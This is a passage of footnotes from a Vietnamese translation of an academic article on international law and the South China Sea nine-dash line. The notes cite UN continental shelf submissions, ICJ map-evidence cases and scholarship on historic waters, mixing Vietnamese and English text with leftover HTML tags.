‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> <div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare 